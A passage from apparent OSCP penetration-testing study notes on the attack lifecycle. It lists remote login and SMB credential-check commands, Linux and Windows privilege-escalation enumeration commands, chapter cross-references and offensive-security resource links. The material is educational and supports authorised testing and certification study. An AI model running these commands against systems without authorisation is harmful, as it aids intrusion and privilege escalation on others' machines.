xfreerdp /v:<IP> /u:user /p:pass
crackmapexec smb <IP> -u user -p pass

# Essential privilege escalation checks:
# Linux:
sudo -l
find / -perm -4000 2>/dev/null
find / -writable -type d 2>/dev/null
cat /etc/crontab
ls -la /etc/cron.*

# Windows:
accesschk.exe -ucqv SYSTEM
accesschk.exe -uwcqv * <service_path>
icacls "C:\path\to\file"

9. Cross-References

Topic Chapter Relationship
Reconnaissance Fundamentals 03 Detailed reconnaissance techniques and tools
Vulnerability Scanning 04 Automated vulnerability discovery
Introduction to Web Applications 05 Web app attack surface understanding
Common Web Attacks 06 Web exploitation techniques
SQL Injection 07 Database exploitation
Client-Side Attacks 08 Delivery phase techniques
Locating Exploits 09 Exploit research and selection
Fixing Exploits 10 Exploit modification and debugging
AV Evasion 11 Weaponization evasion techniques
Password Attacks 12 Credential access techniques
Linux Privilege Escalation 14 Post-exploitation on Linux
Advanced Tunneling 15 C2 and pivoting techniques
Metasploit 16 Exploitation framework deep dive
AD Introduction & Enumeration 17 Active Directory reconnaissance
AD Authentication 18 AD credential attacks

External Resources

Resource URL Description
MITRE ATT&CK https://attack.mitre.org Complete ATT&CK matrix and techniques
Cyber Kill Chain https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html Original Kill Chain whitepaper
ATT&CK Navigator https://mitre-attack.github.io/attack-navigator Interactive ATT&CK matrix visualization
Exploit-DB https://www.exploit-db.com Exploit database
GTFOBins https://gtfobins.github.io Linux privilege escalation via binaries
PayloadAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings Comprehensive payload repository
Red Team Notes https://www.ired.team Red team technique reference
HackTricks https://book.hacktricks.xyz Comprehensive hacking wiki

Summary

The Attack Lifecycle provides the structural framework for understanding how attacks progress from initial reconnaissance to objective completion. For OSCP:

  1. The exam IS a kill chain exercise — you execute reconnaissance, weaponization, exploitation, post-exploitation, and objective capture against multiple targets
  2. Speed matters — efficient progression through each phase is critical within the 23-hour window
  3. Documentation is part of the kill chain — every step must be recorded for the report
  4. ATT&CK provides the vocabulary — understanding technique IDs helps structure your thinking and reporting
  5. The Kill Chain provides the structure — knowing which phase you’re in helps you stay organized and not miss steps

Master the kill chain, and you master the OSCP exam methodology.